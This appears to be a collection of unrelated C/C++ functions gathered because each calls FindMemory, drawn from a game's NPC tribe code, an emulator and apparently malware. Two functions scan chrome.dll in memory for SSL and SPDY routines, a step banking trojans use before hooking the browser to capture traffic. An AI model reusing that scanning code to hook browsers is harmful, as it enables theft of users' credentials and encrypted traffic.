DWORD FindChromeSPDY() { DWORD dwAddress = 0; HMODULE hModule = (HMODULE)GetModuleBase32(L"chrome.dll"); if (hModule) { DWORD dwSize = GetModuleSize(hModule); if (dwSize>0) { dwAddress = FindMemory((unsigned char*)ChromeSPDY,(DWORD)hModule, dwSize,sizeof(ChromeSPDY)); if (dwAddress) { dwAddress = *(unsigned long*)(dwAddress+5); } else { dwAddress = FindMemory((unsigned char*)ChromeSPDY2, (DWORD)hModule, dwSize, sizeof(ChromeSPDY2)); if (dwAddress) { dwAddress = *(unsigned long*)(dwAddress+2); } } } } return dwAddress; }
void Tribe::Memorize(NPC* npc, Perception* perception) { // Retriv date from the perception csString name = perception->GetType(); float radius = perception->GetRadius(); csVector3 pos; iSector* sector = NULL; if(!perception->GetLocation(pos,sector)) { NPCDebug(npc, 5, "Failed to memorize '%s' perception without valid position",name.GetDataSafe()); return; } // Store the perception if not known from before Memory* memory = FindPrivMemory(name,pos,sector,radius,npc); if(memory) { NPCDebug(npc, 5, "Has this in private knowledge -> do nothing"); return; } memory = FindMemory(name,pos,sector,radius); if(memory) { NPCDebug(npc, 5, "Has this in tribe knowledge -> do nothing"); return; } NPCDebug(npc, 5, "Store in private memory: '%s' %.2f %.2f %2f %.2f '%s'",name.GetDataSafe(),pos.x,pos.y,pos.z,radius,npc->GetName()); AddMemory(name,pos,sector,radius,npc); }
DWORD FindChromeSSL() { DWORD dwAddress = 0; HMODULE hModule = (HMODULE)GetModuleBase32(L"chrome.dll"); //peb replace todo if (hModule) { DWORD dwSize = GetModuleSize(hModule); if (dwSize > 0) { dwAddress = FindMemory((unsigned char*)ChromeSSL, (DWORD)hModule, dwSize,sizeof(ChromeSSL)); } } return dwAddress; }
static void* GetMemory(u8* pCpuCtxtObj, u8* pMemCtxtObj, TBase Base, TOffset Offset, u32 AccessSizeInBit) { auto pCpuCtxt = reinterpret_cast<CpuContext*>(pCpuCtxtObj); auto pMemCtxt = reinterpret_cast<MemoryContext*>(pMemCtxtObj); void* pMemory; u64 LinAddr; if (pCpuCtxt->Translate(Address(Base, Offset), LinAddr) == false) LinAddr = Offset; // FIXME later if (pMemCtxt->FindMemory(LinAddr, pMemory, AccessSizeInBit) == false) { Log::Write("emul_llvm") << "Invalid memory access: linear address: " << LinAddr << LogEnd; Log::Write("emul_llvm") << pMemCtxt->ToString() << LogEnd; return nullptr; } return pMemory; }
bool Tribe::LoadNPCMemoryBuffer(const char* name, csArray<NPC*> npcs) { // Check just to be sure if(npcs.GetSize() == 0) return false; Memory* newLocation = FindMemory(csString(name)); if(!newLocation) { return false; } for(size_t i=0; i<npcs.GetSize(); i++) { npcs[i]->SetBufferMemory(newLocation); } return true; }
void Tribe::ShareMemories(NPC* npc) { csList<Memory*>::Iterator it(memories); while(it.HasNext()) { Memory* memory = it.Next(); if(memory->npc == npc) { if(FindMemory(memory->name,memory->pos,memory->GetSector(),memory->radius)) { // Tribe know this so delete the memory. memories.Delete(it); delete memory; } else { memory->npc = NULL; // Remove private indicator. SaveMemory(memory); } } } }